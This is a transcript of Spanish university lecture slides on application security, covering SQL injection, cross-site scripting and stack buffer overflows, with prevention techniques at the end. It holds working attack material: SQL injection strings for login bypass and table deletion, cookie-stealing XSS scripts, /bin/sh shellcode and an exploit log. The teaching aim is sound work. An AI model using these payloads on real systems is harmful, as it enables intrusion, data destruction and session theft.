Seguridad a nivel aplicaciones

Tamaño: px
Comenzar la demostración a partir de la página:

Download "Seguridad a nivel aplicaciones"

Transcripción

1 Seguridad a nivel aplicaciones Principales ataques Roberto Gómez rogomez@itesm.mx Lámina 1 C. Mecanismos de seguridad Firewalls IDS (Sistemas de Detección de Intrusos) Filtrado de información Lámina 2 C. Seguridad en Aplicaciones 1

2 Sin embargo Empresas necesitan dar servicios al exterior. Existe un puerto que siempre esta abierto Lámina 3 C. Inyección SQL o cuidado con lo que el usuario introduce Lámina 4 C. Seguridad en Aplicaciones 2

3 SQL Injection Structured Query Languaje (SQL) es un lenguaje textual usado para interactuar con bases de datos relacionales las instrucciones SQL pueden modificar la estructura de las bases de datos (usando instrucciones Data Definition Language, o DDL) y manipular el contenido de las bases de datos La Inyección SQL ocurre cuando un atacante puede introducir una serie de instrucciones SQL en una consulta manipulando datos de entrada dentro de una aplicación. Aplicada a la popular plataforma Microsoft Internet Information Server/Active Server Pages/SQL Server Lámina 5 C. Ejemplo Una típica instrucción SQL sería esta: select id, forename, surname from authors esta instrucción devolverá el id, forename y surename de las columnas de la tabla authors, devolviendo todas las filas de la tabla, El result set podría ser filtrado a un autor especifico author como esto: select id, forename, surname from authors where forename = john and surname = smith Lámina 6 C. Seguridad en Aplicaciones 3

4 Detalles Cadenas john y smith delimitadas por comillas simples. Suponiendo que los campos siendo recogidos por un formulario de entrada de datos, un atacante podría inyectar SQL en esta consulta, introduciendo valores como: El query string es: Resultado Forename: jo hn Surname: smith select id, forename, surname from authors where forename = jo hn and surname = smith Server: Msg 170, Level 15, State 1, Line1 Line 1: Incorrect syntax near hn. Lámina 7 C. SQL + Página Web Pagina con un formulario login en un Active Server Pages (ASP), accede a una base de datos SQL Server y autentifica el acceso a una aplicación ficticia. Dentro de la página el usuario introduce los datos de username y password Username: Password: Lámina 8 C. Seguridad en Aplicaciones 4

5 Punto crítico código El punto critico de esta parte del proceso de la pagina process_login.asp es cuando crea la consulta de cadena: var sql = select * from users where username = + username + and password = + password + ; Un usuario puede especificar lo siguiente: Username: ; drop table users -- Password: La tabla será borrada Lámina 9 C. Otras opciones El atacante puede entrar como cualquier usuario, tomando nombres de usuario conocidos, usando la siguiente entrada Username: admin -- El atacante puede entrar como el primer usuarios de la tabla users, con la siguiente entrada Username: or 1=1 -- El atacante puede introducirse con un usuario ficticio usando la siguiente entrada Username: union select 1, usuario_ficticio, algun_password, 1 -- Lámina 10 C. Seguridad en Aplicaciones 5

6 Obteniendo información mensajes error Técnica descubierta por David Litchfield Para manipular los datos de la base de datos, determinar estructura base de datos y tablas. Por ejemplo, tabla users creada con el siguiente comando: Create table users(id int, Username varchar(255), Password varchar(255), Privs int) los siguientes usuarios users insertados insert into users values( 0, admin, r00tr0x!, 0xffff) insert into users values( 0, guest, guest, 0x0000) insert into users values( 0, chris, password, 0x00ff) insert into users values( 0, fred, sesame, 0x00ff ) Lámina 11 C. Obteniendo nombres tablas Atacante usa la cláusula having de la instrucción select : Username: having 1=1 -- Esto provoca el siguiente error: Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server] Column users.id is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 Lámina 12 C. Seguridad en Aplicaciones 6

7 Averiguando todas las columnas Atacante puede averiguar todas las columnas introduciendo cada campo dentro de una cláusula group by, como sigue: Username: group by users.id having 1=1 -- Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server] Column users.username is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 Lámina 13 C. Determinando tipo cada columna Puede ser conseguido usando un mensaje de error type conversion, como: Username: union select sum(username) from users -- Servidor SQL intenta aplicar la cláusula sum y duda determinando si el numero de campos en las dos filas es igual. cuando calcula el sum de un campo textual resulta en un mensaje de error Lámina 14 C. Seguridad en Aplicaciones 7

8 Mensaje de error Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35 Lo que nos dice es que el campo username tiene tipo varchar Es posible usar esta técnica para determinar aproximadamente el tipo de cualquier columna de cualquier tabla en la base de datos Lámina 15 C. Consecuencias Permite al atacante crear una buena consulta insert como esta: Username: ; insert into users values( 666, attacker, foobar, 0xffff) -- El poder de esta técnica no acaba aquí. El atacante puede tomar ventaja de los mensajes de error que revelan información sobre la base de datos. Una lista de mensajes de error estándar puede ser obtenida de la siguiente forma: select * from master..sysmessages Lámina 16 C. Seguridad en Aplicaciones 8

9 Eliminando comillas simples Los desarrolladores pueden tener protegida una aplicación por (digamos) eliminar todas las comillas simples ( ). Function escap( input ) Input = replace(input,, ) Escape = input End function Esto prevendría todos los ataques de los ejemplos anteriores, y eliminando el punto y coma ; nos ayudaría mas. Lámina 17 C. Dando la vuelta Posible crear una cadena sin utilizar comillas simples, puede usar la función char. Por ejemplo: Insert into users values (666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff) Es una consulta que no contiene comillas simples, pero insertara cadenas en una tabla Lámina 18 C. Seguridad en Aplicaciones 9

10 Cross Site Scripting o lo que es lo mismo... cuidado con lo que sale y con lo que entra Lámina 19 C. Ataque XSS El problema reside en la administración de archivos adjuntos de tipo.html o.htm Manejar la salida de una aplicación web es lo mismo que pasar datos a los subsistemas el subsistema final al que se le pasa datos es el browser del visitante y el parser HTML en el browser solo es otro sistema cuando se envían datos a él se debe poner atención a los metacaracteres Problema notificado por CERT en el Lámina 20 C. Seguridad en Aplicaciones 10

11 Por qué XSS y no CSS? XSS: evitar confusiones con Cascading Style Sheets Ataque a través de un enlace que apunta a un servidor web afectado. URL se construye para que incluya un script del atacante que será transmitido por el servidor afectado al cliente que utilice el enlace para visitar el web. Por ejemplo, sitio web permite realizar búsquedas El XSS podría darse a través de una URL tipo: Lámina 21 C. Empecemos por lo sencillo Aplicación web: guest book permite visitantes introducir lo que dessen y solo añaden el nuevo texto a lo que estaba antes Usuario malicioso introduce lo siguiente: <!-- Nada pasa al principio, pero se mezcla con lo que se escribió y lo que se escribirá, aplicación web pasará lo siguiente a lectores libro de visitas: : Cool web page, dude! <!-- You re da man, boss : Lámina 22 C. Seguridad en Aplicaciones 11

12 Otros dos ejemplos Posible introducir: <script> for (q=0; q < 1000; q++) window.open( </script> Otro ejemplo un sitio de discusión para niños el sitio carece de filtrado hacia afuera, y alguien introduce lo siguiente: <imag src = Lámina 23 C. Secuestro de sesión 1 atacante inyecta script en el servidor y espera por una víctima 3 script se ejecuta en el browser de la víctima, y le envía la cookie de sesión al atacante 4 atacante pasa la cookie robada, provocando que el servidor piense que es la víctima servidor envía una cookie sesión y el script del atacante al visitante Lámina 24 C. 2 Seguridad en Aplicaciones 12

13 Algo de código JavaScript proporciona cookie al web server del atacante <script> document.location.replace( + =?what= + document.cookie) </script> Enviando el browser al sitio original <script> if (document.cookie.indexof( stolen ) < 0 { document.cookie = stolen=true ; document.location.replace( + =?what= + document.cookie + = &whatnext= ) } </script> Lámina 25 C. Otros ataques XSS Modificación texto posible cambiar información mientras la página es desplegada XSS con ingeniería social script malicioso no es almacenado en el servidor atacante engaña a la víctima, para que este se dirija a un URL con el scripto malicioso Robo de passwords algunos sitios vuelven a desplear el user-name si la autenticación falla, considerando que el password fue mal tecleado Lámina 26 C. Seguridad en Aplicaciones 13

14 Ejemplo de ingeniería social Lámina 27 C. El stack o buffer overflow atacando la aplicación a través de un exploit Lámina 28 C. Seguridad en Aplicaciones 14

15 El stack o buffer overflow Se dan a conocer los detalles de dicho ataque en noviembre 1996 (Phrack Magazine, número 49). Smashing The Stack For Fun And Profit Se produce una situación de desbordamiento del búfer cuando un usuario o un proceso intenta introducir en el búfer más datos de los originalmente permitidos. Aprovechando esta situación se puede conseguir acceder fraudulentamente al sistema. Lámina 29 C. La vulnerabilidad Un stack overflow es una vulnerabilidad que se ocasiona porque el programador no presto atención o no se dio cuenta que la gente podía pasar mas información de la que en su variable cabía Fueron descubiertos a principios de los ochenta, pero no fue hasta 1988 cuando el worm de Internet llamado "morris" le informo del peligro de estos errores de seguridad a la gente Objetivo contar con una shell con los privilegios con que se esta ejecutando la aplicación que presenta la vulnerabilidad Lámina 30 C. Seguridad en Aplicaciones 15

16 Contexto de un proceso direcciones altas de memoria direcciones bajas de memoria stack heap datos no inicializados datos inicializados READ-WRITE datos inicializados READ-ONLY TEXTO (código) Datos dinámicos del programa Datos estáticos del programa Código del programa Lámina 31 C. Ejemplo stack dirección crecimiento stack User Stack Local not Vars shown Addr of frame 2 (resultado) Ret addr after write call parms to news buffer write count Local Vars count Addr of frame 1 (resultado) Ret addr after copy call parms to old new copy Local fdold Vars fdnew Addr of frame 0 Ret addr after main call parms to argc main argv copy (int old, int new) { int count; while ( (count = read(old, buffer, sizeof(buffer))) > 0 ) write(new, buffer, count); } main(argc, argv) { int fdold, fdnew; fdold = open(argv[1], O_RDONLY]); fdnew = open(argv[2], 0666); copy (fdold, fdnew); exit(0); } Lámina 32 C. Seguridad en Aplicaciones 16

17 Un primer ejemplo cat prog1 int main(int argv,char **argc) { char buf[25]; } strcpy(buf,argc[1]); toto@cachafas:2> gcc prog1.c -o prog1 toto@cachafas:3> prog1 esto es una prueba de un buffer overflow???????????????????????????? qué pasa si en lugar de strcpy() se usa strncpy()?? Lámina 33 C. Otro ejemplo voidfunction(inta, intb, intc) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } Lámina 34 C. Seguridad en Aplicaciones 17

18 Foto del stack Parte baja memoria D3 D4 D5 D6 D7 D8 D9 DA DB DC DE DF E0 E1 E2 E3 E4 E5 E6 E8 E9 EA EB buffer2[10] buffer1[5] Parte alta stack EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF Parte alta memoria sfp = ebp ret = IP a b c Parte baja stack Lámina 35 C. Segundo ejemplo void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } Lámina 36 C. Seguridad en Aplicaciones 18

19 Foto del stack Parte baja memoria E3 E4 Parte alta stack E5 E6 E8 E9 EA EB EC buffer[16] ED EE EF F0 F1 F2 F3 F4 F5 F6 sfp F7 F8 F9 FA ret FB FC FD Parte alta memoria FE *str Parte baja stack FF Lámina 37 C. Ejecutando el código prog2.c -o prog Bus error (core dumped) Lámina 38 C. Seguridad en Aplicaciones 19

20 Qué paso? Parte baja memoria E3 E4 Parte alta stack E5 E6 E8 E9 EA EB EC buffer[16] ED EE EF F0 F1 F2 F3 F4 F5 F6 sfp F7 F8 F9 FA ret FB FC FD Parte alta memoria FE *str Parte baja stack FF Lámina 39 C. Qué paso? Parte baja memoria E3 E4 E5 E6 E8 E9 EA EB EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA A A A A A A A Parte alta stack FB FC FD Parte alta memoria FE Parte baja stack FF Lámina 40 C. Seguridad en Aplicaciones 20

21 Otro ejemplo void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main( ) { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } toto@cachafas:4> gcc prog2.c -o prog2 toto@cachafas:5> prog2 0 toto@cachafas:6> Lámina 41 C. Siguiendo el stack Parte baja memoria D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DE DF E0 E1 E2 E3 E4 E5 E6 E8 E9 EA EB *ret buffer2[10] buffer1[5] Parte alta stack EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF Parte alta memoria sfp RET=FF a b c Parte baja stack Lámina 42 C. Seguridad en Aplicaciones 21

22 Siguiendo el stack Parte baja memoria D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DE DF E0 E1 E2 E3 E4 E5 E6 E8 E9 EA EB *ret=e3+12 buffer2[10] buffer1[5] Parte alta stack EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF Parte alta memoria sfp RET=FF a b c Parte baja stack Lámina 43 C. Siguiendo el stack Parte baja memoria D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DE DF E0 E1 E2 E3 E4 E5 E6 E8 E9 EA EB *ret=e3+12 buffer2[10] buffer1[5] Parte alta stack EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF Parte alta memoria sfp RET=FF+8 a b c Parte baja stack Lámina 44 C. Seguridad en Aplicaciones 22

23 Por que sumar 8 Cuando se llama a function() RET vale 0x8004a8 Se desea saltarse la asignación en 0x80004ab La instrucción a ejecutar esta en 0x8004b2 Por lo que la distancia a saltar es de 8 0x80004a3 <main+19>: call 0x <function> 0x80004a8 <main+24>: addl $0xc,%esp 0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp) 0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax 0x80004b5 <main+37>: pushl %eax 0x80004b6 <main+38>: pushl $0x80004f8 Lámina 45 C. El payload Código proporcionado por el atacante como parte de la información extra. esta información extra se conoce como payload. La parte difícil es encontrar una dirección donde alojar al payload Posibles acciones del payload modifique algún valor el registro de Windows, dar de alta un usuario en el archivo /etc/password de un sistema Unix, abrir el compartimiento de CDs de la computadora. Muchas veces se confunde el payload con un shellcode. Lámina 46 C. Seguridad en Aplicaciones 23

24 Los shellcodes Son fragmentos de código escritos en lenguaje ensamblador que ejecutan una serie de ordenes comunicándose directamente con el kernel, es decir, usando llamadas al sistema. Se usa para conseguir ejecutar un código después de haber sobreescrito la dirección de retorno de un programa/función mediante un overflow, o mediante cualquier otro método válido es decir, el valor de la dirección de retorno que se sobreescribira será la de nuestra shellcode. El proceso, consiste en copiar el código de shell en el espacio de variables locales Lámina 47 C. Ejemplo de un shellcode #include <stdio.h> void main() { char *name[2]; } name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); Lámina 48 C. Seguridad en Aplicaciones 24

25 Ejecutando el shellcode Se aprovecha que Linux permite la ejecución de código contenido en la sección de la pila, esta marcada con los bits de lectura, escritura y ejecución. Se sobrescribe RET con la dirección de la shellcode, de manera que cuando el programa salga de la función principal, main(), el programa salte al código shell, ejecutando aquellas operaciones que contenga En la actualidad hay exploits que utilizan desde los shellcodes mas simples hasta los mas complejos, desde los mas grandes hasta los mas chicos, usan criptografía, NOPS-free, shellcodes polimorficos, ofuscados, etc. Lámina 49 C. Ejemplo de shellcode char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46" "\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3" "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00" "\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } Lámina 50 C. Seguridad en Aplicaciones 25

26 Resumiendo Cadena con 120 caracteres A stack RET EBP Buffer 100 bytes stack 0x x02fe4f0a 0x x0050a78f Cadena con SHELL CODE El código ASCII de A es 41 stack RET EBP Buffer 100 bytes stack 0x02fe4f0a 0x02fe4f0a 0x02fe4f0a 0x02fe4f0a Código en NOPs Ensamblador (ejecuta SH o ejecuta cmd.exe) Lámina 51 C. El exploit Del inglés to exploit, explotar, aprovechar. Es el nombre con el que se identifica un programa informático malicioso, o parte del programa, que trata de forzar alguna deficiencia o vulnerabilidad de otro programa (llamadas bugs). El fin puede ser la destrucción o inhabilitación del sistema atacado, aunque normalmente se trata de violar las medidas de seguridad para poder acceder al mismo de forma no autorizada y emplearlo en beneficio propio o como origen de otros ataques a terceros. Lámina 52 C. Seguridad en Aplicaciones 26

27 El ataque exploit root stack de la aplicación Lámina 53 C. HEAD / HTTP/1.0 HTTP/ OK Content-Length: 2506 Date: Mon, 01 Oct :04:41 GMT Content-Location: Content-Type: text/html Server: Microsoft-IIS/5.0 Accept-Ranges: bytes Last-Modified: Mon, 01 Oct :06:52 GMT ETag: "20c1bf347cfc01:941" Connection closed by foreign host. hacker.com:~$./idaexploit.sh Connecting... Dumping Shell: \x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x= 1c\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04\x90\x90\x90\xac\= x34\x99\xaa\xe2\xfa\x71\x99\x99\x99\x99\xc4\x18\x74\x40\xb8\xd9\x99\x14\x2c= \x6b\xbd\xd9\x99\x14\x24\x63\xbd\xd9\x99\xf3\x9e\x09\x09\x09\x09\xc0\x71\x4= \xf3\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x74\xbc\xd9\x99\xcf\x14\x2c\x6= 8\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9\x99\x5e\x1c\x6c\xbc\xd9\x99\xdd\x99\x= 99\x99\x14\x2c\x6c\xbc\xd9\x99\xcf\x66\x0c\xae\xbc\xd9\x99\x14\x2c\xb4\xbf\= xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\xa8\xbf\xd9\x99\x34\xc9\x66= Lámina 54 C. Seguridad en Aplicaciones 27

28 Y que se hace? Búsqueda datos víctima Búsqueda puertas/ventanas abiertas máquina Averiguar el sistema operativo y la versión de este. Alguna puerta/ventana abierta presenta alguna vulnerabilidad? Existe algún exploit relacionado con la vulnerabilidad y la versión del sistema operativo de la víctima? Bajar el exploit e instalarlo. Ejecutarlo para llevar a cabo el ataque. Lámina 55 C. Herramientas Metasploit Framework Herramienta gratuita Escrita en PERL CORE IMPACT $25K por año Escrita en Python y C++ Immunitysec CANVAS Menos extensa que CORE IMPACT Mucho más barata: $1300 Lámina 56 C. Seguridad en Aplicaciones 28

29 Otros exploits relacionados Bugs de Formato cualquier función que tome un formato como argumento es vulnerable a un tipo de buffer overflow llamado format string overflow (overflow de cadena de formato). Mal manejo de enteros Integer overflow and underflow conditions Integer comparisons Precision and promotion errors Stack Memory Overflowing Force Memory Leak Off by one Lámina 57 C. Técnicas prevención vulnerabilidades Revisión código fuente source code auditing proyecto OpenBSD herramientas: ITS4, RATS y LCLint lista herramientas: sardonix.org/auditing_resources.html. Modificando el compilador añadir detección buffer overflow de forma automática a un programa usando un compilador modificado ejemplo: StackGuard, ProPolice, StackShield y Return Address Defender (RAD). Lámina 58 C. Seguridad en Aplicaciones 29

30 Técnicas prevención vulnerabilidades Modificación sistema operativo modificando algunos aspectos del sistema operativo modificar el segmento del stack de tal forma que no sea ejecutable librería: Libsafe: intercepta llamadas a funciones vulnerables y ejecuta una versión segura de la llamadas. Modificación hardware tecnicas deteccion afectan desempeño (4% a 1,000%) mover operaciones de software a hardware propuesta SmashGuard proposal [10] uses a modification of the microcoded instructions for the CALL and RET opcodes in a CPU to enable transparent protection against buffer overflow attacks. Lámina 59 C. Y cómo nos protegemos? La mejor solución es usar funciones que tengan en cuenta el numero de bytes que se escriben. Tabla relaciona funciones vulnerables con la función que debería ser usada en su lugar. Función vulnerable get(s) strcpy() sprintf() getc() getchar() Reemplazar por sscanf() strncpy() snprintf() pueden ser especialmente vulnerables usadas en un ciclo Lámina 60 C. Seguridad en Aplicaciones 30

31 Seguridad a nivel aplicaciones Principales ataques Roberto Gómez rogomez@itesm.mx Lámina 61 C. Seguridad en Aplicaciones 31

Seguridad a nivel aplicaciones

Seguridad a nivel aplicaciones Seguridad a nivel aplicaciones Principales ataques Roberto Gómez rogomez@itesm.mx http://homepage.cem.itesm.mx/rogomez Lámina 1 C. Ataque típico de red Lámina 2 C. Seguridad en Aplicaciones 1 Mecanismos

Más detalles

Roberto Gómez Cárdenas ITESM-CEM rogomez@itesm.mx http://homepage.cem.itesm.mx/rogomez

Roberto Gómez Cárdenas ITESM-CEM rogomez@itesm.mx http://homepage.cem.itesm.mx/rogomez Los procesos Roberto Gómez Cárdenas ITESM-CEM rogomez@itesm.mx http://homepage.cem.itesm.mx/rogomez p g Lámina 1 Los procesos Lámina 2 Contexto de un proceso direcciones altas de memoria direcciones i

Más detalles

Programación segura. Seguridad en los Sistemas Informáticos. Ismael Ripoll. Universidad Politècnica de València. Abril 2011

Programación segura. Seguridad en los Sistemas Informáticos. Ismael Ripoll. Universidad Politècnica de València. Abril 2011 Programación segura Seguridad en los Sistemas Informáticos Ismael Ripoll Universidad Politècnica de València Abril 2011 Ismael Ripoll (Universidad Politècnica de València) Programación segura Abril 2011

Más detalles

Artículo publicado en la revista @RROBA # 93 Suplemento Hack Paso a Paso #24 Agosto 2005 (Material Sin Editar)

Artículo publicado en la revista @RROBA # 93 Suplemento Hack Paso a Paso #24 Agosto 2005 (Material Sin Editar) SQL Injection Introducción Tres años atrás, publicaba en mi sitio personal de Internet, un documento técnico titulado Técnicas de SQL Injection: Un Repaso (Ver Referencias). En el mismo, mencionaba con

Más detalles

Desarrollo Web con PHP

Desarrollo Web con PHP Seguridad Desarrollo Web con PHP Ignacio Andrés González Seguridad 1. Seguridad en las aplicaciones web 2. Seguridad en PHP 3. Variables globales 4. Nombres de ficheros 5. Subida de ficheros 6. Bibliotecas

Más detalles

SQL INJECTION. Benitez, Marcelo Chinikailo, Cristian De la Cruz, Leonardo Klas, Julián. 66.69 Criptografía y Seguridad Informática.

SQL INJECTION. Benitez, Marcelo Chinikailo, Cristian De la Cruz, Leonardo Klas, Julián. 66.69 Criptografía y Seguridad Informática. SQL INJECTION Benitez, Marcelo Chinikailo, Cristian De la Cruz, Leonardo Klas, Julián Grupo 5 66.69 Criptografía y Seguridad Informática Introducción 2 Ataque basado en inyección de código Explota omisiones

Más detalles

UNIVERSIDAD AUTÓNOMA DE BAJA CALIFORNIA FACULTAD DE CIENCIAS PRACTICA DE PROCESOS HERRAMIENTAS

UNIVERSIDAD AUTÓNOMA DE BAJA CALIFORNIA FACULTAD DE CIENCIAS PRACTICA DE PROCESOS HERRAMIENTAS UNIVERSIDAD AUTÓNOMA DE BAJA CALIFORNIA FACULTAD DE CIENCIAS PRACTICA DE PROCESOS HERRAMIENTAS Caso 1: 1.- Necesitamos un cd o Dvd para grabar alguna de las versiones de livecd de Linux. 2.- Liga de una

Más detalles

Hacer ejercicios del libro (Cap. 9 Seguridad): 4,5,6,7,8,9,10,12,13

Hacer ejercicios del libro (Cap. 9 Seguridad): 4,5,6,7,8,9,10,12,13 Práctico Seguridad Sistemas Operativos Hacer ejercicios del libro (Cap. 9 Seguridad): 4,5,6,7,8,9,10,12,13 1) Suponga que se previene la ejecucion de datos localizados en la pila de una funcion (osea,

Más detalles

MANUAL BÁSICO DE MYSQL

MANUAL BÁSICO DE MYSQL MANUAL BÁSICO DE MYSQL ESCUELA COLOMBIANA DE INGENIERÍA JULIO GARAVITO LABORATORIO DE INFORMÁTICA BOGOTÁ D. C. 2007-2 TABLA DE CONTENIDO MANUAL BÁSICO DE MYSQL... 1 INTRODUCCIÓN... 3 1. CONECTARSE CON

Más detalles

Seguridad hoy en día. Claudio Salazar csalazar@inf.utfsm.cl http://nlc.pinguinux.cl PinguinuX Team

Seguridad hoy en día. Claudio Salazar csalazar@inf.utfsm.cl http://nlc.pinguinux.cl PinguinuX Team Seguridad hoy en día. Claudio Salazar csalazar@inf.utfsm.cl http://nlc.pinguinux.cl PinguinuX Team (cc) muehlinghaus Un montón de noticias Se filtran datos personales de 6 millones de chilenos vía Internet

Más detalles

Curso: (62612) Diseño de aplicaciones seguras

Curso: (62612) Diseño de aplicaciones seguras Curso: (62612) Diseño de aplicaciones seguras Fernando Tricas García Departamento de Informática e Ingeniería de Sistemas Universidad de Zaragoza http://webdiis.unizar.es/~ftricas/ http://moodle.unizar.es/

Más detalles

Vulnerabilidades en Aplicaciones Web Webinar Gratuito

Vulnerabilidades en Aplicaciones Web Webinar Gratuito Vulnerabilidades en Aplicaciones Web Webinar Gratuito Alonso Eduardo Caballero Quezada Consultor en Hacking Ético, Informática Forense & GNU/Linux Sitio Web: http://www.reydes.com e-mail: ReYDeS@gmail.com

Más detalles

MySQL: Guía de Referencia

MySQL: Guía de Referencia Instituto Tecnologico Superior de Coatzacoalcos (ITESCO). MySQL: Guía de Referencia Farid Alfredo Bielma Lopez fbielma@fbielma.org http://fbielma.org/course/fbielma/curso_mysql.pdf Resumen del curso Algunas

Más detalles

La inmensa mayoría de las páginas son vulnerables, a unos u otros fallos.

La inmensa mayoría de las páginas son vulnerables, a unos u otros fallos. Introducción a la seguridad Web: La inmensa mayoría de las páginas son vulnerables, a unos u otros fallos. El gran problema no está en que esas páginas sean vulnerables y con ello podamos pasar un rato

Más detalles

SECURITY DAY PERU. Ataques a las Aplicaciones Web. Explotación de Aplicaciones Web. Technologies SOLUTIONS FOR KEEPING YOUR BUSINESS UP

SECURITY DAY PERU. Ataques a las Aplicaciones Web. Explotación de Aplicaciones Web. Technologies SOLUTIONS FOR KEEPING YOUR BUSINESS UP SOLUTIONS FOR KEEPING YOUR BUSINESS UP Email: info@ximark.com Tel. +(507) 271 5951 Tel. +(1) 928 752 1325 Aptdo. 55-0444, Paitilla. Panama City, Panama SECURITY DAY PERU Ataques a las Aplicaciones Web

Más detalles

Seminario de SEGURIDAD WEB. Pedro Villena Fernández www.consultoriainnova.com

Seminario de SEGURIDAD WEB. Pedro Villena Fernández www.consultoriainnova.com Seminario de SEGURIDAD WEB Pedro Villena Fernández www.consultoriainnova.com Algunas cosas antes de empezar... Este seminario NO tiene la intención de piratear otras webs. Los ataques que aprenderemos

Más detalles

Servicio de terminal remoto. Jesús Torres Cejudo

Servicio de terminal remoto. Jesús Torres Cejudo 1 - Telnet, Rlogin, SSH. Telnet (TELecommunication NETwork) es el nombre de un protocolo de red red a otra máquina para manejarla remotamente como si estuviéramos sentados delante de ella. También es el

Más detalles

SEGURIDAD EN LAS BASES DE DATOS

SEGURIDAD EN LAS BASES DE DATOS SEGURIDAD EN LAS BASES DE DATOS DEFINICIÓN DE UN ESQUEMA DE SEGURIDAD Al concepto de seguridad también se le puede llamar privacidad. El problema de la seguridad consiste en lograr que los recursos de

Más detalles

S E G U R I D A D E N A P L I C A C I O N E S W E B

S E G U R I D A D E N A P L I C A C I O N E S W E B H E R R A M I E N T A S A V A N Z A DA S D E DE S A R R O L L O D E S O F T W A R E 2 0 0 7-2 0 0 8 S E G U R I D A D E N A P L I C A C I O N E S W E B X S S Y S Q L I N J E C T I O N G R U P O 2 4 S A

Más detalles

Disidents Hack Team by mitr3in SQL Injections

Disidents Hack Team by mitr3in SQL Injections Disidents Hack Team by mitr3in SQL Injections [Pre-Inicio] Hi people, espero poder ayudar con este texto sobre SQL injections igual que con los anteriormente editados en la ezine Disidents, este texto

Más detalles

Capítulo 2.- Vulnerabilidades en aplicaciones web.

Capítulo 2.- Vulnerabilidades en aplicaciones web. Capítulo 2.- Vulnerabilidades en aplicaciones web. En este capítulo se explican algunas vulnerabilidades en aplicaciones web que pueden ser explotadas por software o por personas malintencionadas y como

Más detalles

SQL Injection: Introducción al método del error Por Vengador de las Sombras

SQL Injection: Introducción al método del error Por Vengador de las Sombras SQL Injection: Introducción al método del error Por Vengador de las Sombras 0x00 Prefacio El objetivo de este documento (sé que hay varios rulando por internet mucho mejores que éste, pero quería aportar

Más detalles

Unidad 6 Desarrollo seguro S E G U R I D A D D E L A I N F O R M A C I O N

Unidad 6 Desarrollo seguro S E G U R I D A D D E L A I N F O R M A C I O N Unidad 6 Desarrollo seguro S E G U R I D A D D E L A I N F O R M A C I O N Procesos de desarrollo Separación de tareas Ambiente de Diseño y Programación Ambiente de Testing Ambiente de Producción Separación

Más detalles

Seguridad Informática

Seguridad Informática Seguridad Informática Seguridad software I Ramón Hermoso y Matteo Vasirani Grado en Ingeniería Informática 1 Programación y seguridad 2 Buffer overflow 3 Inyección SQL 4 Condición de carreras 5 Errores

Más detalles

DISPARADORES EN SQL DISPARADORES EN SQL:1999 SINTAXIS GENERAL DE UN DISPARADOR EN SQL:1999 SINTAXIS GENERAL DE UN DISPARADOR EN SQL:1999

DISPARADORES EN SQL DISPARADORES EN SQL:1999 SINTAXIS GENERAL DE UN DISPARADOR EN SQL:1999 SINTAXIS GENERAL DE UN DISPARADOR EN SQL:1999 DISPARADORES EN SQL:1999 DISPARADORES EN SQL Modelos Avanzados de Bases de Datos Un (trigger) es un procedimiento especial que se ejecuta en respuesta a un evento específico. Ej. Al aumentar el sueldo

Más detalles

Introducción a la Computación. Capítulo 10 Repertorio de instrucciones: Características y Funciones

Introducción a la Computación. Capítulo 10 Repertorio de instrucciones: Características y Funciones Introducción a la Computación Capítulo 10 Repertorio de instrucciones: Características y Funciones Que es un set de instrucciones? La colección completa de instrucciones que interpreta una CPU Código máquina

Más detalles

TALLER DE SQL INJECTION

TALLER DE SQL INJECTION TALLER DE SQL INJECTION EDYTED BY 4TF3 Definición de Injectiòn SQL Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación

Más detalles

Ataques XSS en Aplicaciones Web

Ataques XSS en Aplicaciones Web Ataques XSS en Aplicaciones Web Education Project Antonio Rodríguez Romero Consultor de Seguridad Grupo isoluciones antonio.rodriguez@isoluciones.es Copyright 2007 The Foundation Permission is granted

Más detalles

AGENDA. Mejorando la Seguridad en Aplicaciones Web. Introducción. La Web Promesas y Amenazas. Asegurando la Red y el Servidor de Web

